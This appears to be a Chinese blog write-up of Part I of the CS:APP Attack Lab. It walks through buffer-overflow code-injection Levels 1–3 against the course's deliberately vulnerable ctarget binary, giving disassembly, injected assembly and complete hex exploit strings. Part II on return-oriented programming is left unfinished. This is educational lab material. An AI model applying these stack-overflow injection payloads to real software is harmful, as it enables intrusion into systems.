Attack LabCS:APP一书中第三个实验,包括Part IPart II两部分,分别实现Code Injection AttacksReturn-Oriented ProgrammingCode Injection Attacks主要利用缓冲区溢出执行不安全的代码片段;当栈被标记为nonexecutable或者位置随机时,可以利用Return-Oriented Programming达到攻击的目的。

目前的进度是完成了Part I,等有时间再回来完成Part II

Part I: Code Injection Attacks

Level 1

Level 1利用输入字符串使当前执行的代码段跳转到预设的代码片段,不会涉及到code injection:当test()getbuf()返回后,我们要改变test()正常的执行逻辑,不再执行下一条指令,而是让test()跳转至touch1()执行指令。 test()以及touch1()对应的代码如下所示。

void test() 
{
    int val;
    val = getbuf();
    printf("No exploit. Getbuf returned 0x%x\n", val);
}

void touch1()
{
    vlevel = 1; / * Part of validation protocol * /
    printf("Touch1!: You called touch1()\n");
    validate(1);
    exit(0);
}

要实现Level 1中的跳转,关键是利用缓冲区溢出来修改test()调用getbuf()时栈帧中的返回地址。使用objdumpctarget反编译,提取getbuf()关联的的汇编代码,如下所示。

00000000004017a8 <getbuf>:
  4017a8:       48 83 ec 28             sub    $0x28,%rsp
  4017ac:       48 89 e7                mov    %rsp,%rdi
  4017af:       e8 8c 02 00 00          callq  401a40 <Gets>
  4017b4:       b8 01 00 00 00          mov    $0x1,%eax
  4017b9:       48 83 c4 28             add    $0x28,%rsp
  4017bd:       c3                      retq
  4017be:       90                      nop
  4017bf:       90                      nop

注意到%rsp被减小了$0x2840字节,这意味着getbuf()开辟了40字节的缓冲区,而缓冲区以上的4字节则是getbuf()执行ret指令后test()继续执行的指令的地址。Level 1要做的就是利用缓冲区溢出,修改这4字节的值,使之等于touch1()的地址。根据反编译ctarget得到的汇编代码,touch1()的起始地址为0x4017c0,如下所示。

00000000004017c0 <touch1>:
  4017c0:       48 83 ec 08             sub    $0x8,%rsp
  4017c4:       c7 05 0e 2d 20 00 01    movl   $0x1,0x202d0e(%rip)        # 6044dc <vlevel>
  ...

综上,Level 1所需的输入字符串长度为44字节,前40字节用于填充缓冲区,具体的值不重要,后4字节等于touch1()的地址值0x4017c0,注意内存存储规则为Little Endian

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40 00

我们利用hex2raw将输入字符串(level1.txt)转化为字节码,并将字节码文件(level1_bc.txt)作为ctarget的输入,如下图所示。

Level 1通过缓冲区溢出帮助我们理解函数与函数之间跳转的原理,但是并未涉及到参数的传递,这需要通过code injection来实现。

Level 2

Level 2的流程与Level 1相似:test()调用getbuf(),当getbuf()返回之后,开始执行touch2()的指令。touch2()有着如下的代码逻辑。

void touch2(unsigned val)
{
    vlevel = 2; / * Part of validation protocol * /
    if (val == cookie) {
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
    } else {
        printf("Misfire: You called touch2(0x%.8x)\n", val);
        fail(2);
    }
    exit(0);
}

Level 1不同,Level 2除了需要实现指令跳转,还需要将cookie作为参数传递至touch2()。这意味着需要执行一段我们自定义的代码来实现参数的传递,这就是所谓的code injection

Level 1中,我们通过改写返回地址值达到跳转至touch1()的目的,如果我们现在也仅仅是将返回地址修改为touch2()的地址,那么参数传递的问题并没有解决。根据x86-64寄存器使用规范,touch2()的参数val存储于寄存器%rdi,此时%rdi的值并不是我们期望的cookie值。如果在跳转至touch2()执行指令之前,先跳转到某个区域执行一段代码,这段代码能够设置寄存器%rdi的值,然后再跳转到touch2()执行,就可以达到我们的目的。关键是这段代码存储于内存的哪块区域?答案是由getbuf()开辟的缓冲区,也就是Level 1中可以是任意值的40字节。基于以上思路,我们需要明确缓冲区的地址以及待注入的代码。

getbuf()调用Gets()函数开辟缓冲区,而Gets()的返回值即是缓冲区的地址,根据x86-64寄存器使用规范,返回值存储于寄存器%rax。利用gdb查看寄存器%rax的值,如下图所示,缓冲区的起始地址为0x5561dc78

待注入的代码设置寄存器%rdi的值等于cookie值,然后跳转至touch2()执行指令。用汇编代码来描述,如下所示。

mov $0x59b997fa,%rdi
pushq $0x4017ec
ret

将以上汇编代码进行汇编,然后进行反编译得到机器代码,如下图所示。

至此,可以写出Level 2所需的输入字符串,如下所示。

48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55

利用hex2raw将输入字符串转化为字节码,并将字节码文件作为ctarget的输入,运行结果如下图所示。

Level 3

Level 3也需要通过code injection来传递参数。比Level 2更复杂的是,Level 3传递的参数类型是字符串,更确切的说,应该是字符串的地址。与Level 3相关联的touch3()如下所示。

void touch3(char *sval)
{
    vlevel = 3; / * Part of validation protocol * /
    if (hexmatch(cookie, sval)) {
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}

注意到touch3()内部调用了hexmatch(),其代码如下所示。同时,根据hexmatch()的代码逻辑我们推断出touch3()期待的参数为cookie值的字符串表示。

/ * Compare string to hex represention of unsigned value * /
int hexmatch(unsigned val, char *sval)
{
    char cbuf[110];
    / * Make position of check string unpredictable * /
    char *s = cbuf + random() % 100;
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
}

Level 2的思路类似,Level 3通过向getbuf()开辟的缓冲区中注入代码来达到设置参数值的目的,但是我们发现touch3()调用了hexmatch()hexmatch()又调用了strncmp(),这就出现了问题:函数的调用会导致新的数据被push到栈中,这意味着栈中原有的数据会被覆盖。那么,我们传递的参数,也就是字符串,应该存储在内存的什么位置?

基于以上分析,Level 3中待注入的代码与Level 2非常类似,唯一不同的就是Level 2向寄存器%rdi存储的是cookie值,而Level 3向寄存器%rdi存储的是cookie字符串的地址值。我们借助gdb对比touch3()调用hexmatch()前后缓冲区的变化情况,以此定位安全的存储字符串的地址。为此,我们先通过Level 1中的方法进入touch3(),并将指令执行至hexmatch()前一条的指令,如下图所示。

接着执行callq 0x40184c <hexmatch>指令,对比执行前后缓冲区内容的变化,可以发现缓冲区的 前40个字节并没有连续的8个安全的字节供cookie字符串存储,但是从0x5561dca0开始的40个字节在hexmatch()调用前后并没有发生变化。因此,可以把字符串存储在缓冲区以外的这片内存区域中(我选择以0x5561dca8为首地址的8个字节)。

现在可以将已确定的字符串地址存储至寄存器%rdi,对应的汇编代码如下所示,获取对应机器码的方式与Level 2一致。

mov $0x5561dca8,%rdi
pushq $0x4018fa
ret

同时,Level 3的输入字符串需要根据字符串的存储地址做相应的补充,由于字符串的首地址为0x5561dca8,且字符串长度为8,因此输入字符串的总长度为56字节,如下所示。

48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00 35 39 62 39 39 37 66 61

借助hex2raw将输入字符串转化为字节码,并将其作为ctarget的输入,结果如下图所示。

Part II: Return-Oriented Programming

// TODO